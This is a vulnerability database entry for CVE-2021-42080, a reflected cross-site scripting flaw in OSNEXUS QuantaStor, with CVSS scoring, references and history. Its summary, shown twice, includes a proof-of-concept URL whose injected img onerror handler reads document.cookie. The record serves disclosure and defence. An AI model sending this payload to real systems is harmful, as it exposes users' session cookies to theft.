CVE-2021-42080

An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

CVSS v3 7.4 HIGH

7.4^/10

CVSS v3 : HIGH

Vector :

Exploitability : 2.8 / Impact : 4.0

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required NONE

User Interaction REQUIRED

Confidentiality Impact HIGH

Integrity Impact NONE

Availability Impact NONE

Scope CHANGED

References

Link	Resource
https://csirt.divd.nl/CVE-2021-42080	Third Party Advisory
https://csirt.divd.nl/DIVD-2021-00020/
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory
https://csirt.divd.nl/CVE-2021-42080	Third Party Advisory
https://www.divd.nl/DIVD-2021-00020
https://www.osnexus.com/products/software-defined-storage	Product
https://www.wbsec.nl/osnexus	Third Party Advisory

Configurations

Configuration 1 (hide)

cpe:2.3:a:osnexus:quantastor:*:*:*:*:*:*:*:*

History

22 Sep 2025, 07:15

Type	Values Removed	Values Added
Summary	~~(en) An attacker is able to launch a Reflected XSS attack using a crafted URL.~~	(en) An attacker is able to launch a Reflected XSS attack using a crafted URL. POC: Visit the following URL https://<IPADDRESS>:8153/qstorapi/echo?inputMessage=<img%20src=x%20onerror=alert(document.cookie)>

Information

Published : 2023-07-10 16:15

Updated : 2025-09-22 07:15

NVD link : CVE-2021-42080

Mitre link : CVE-2021-42080

CVE.ORG link : CVE-2021-42080

JSON object : View

Products Affected

osnexus

quantastor

CWE

CWE-79

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

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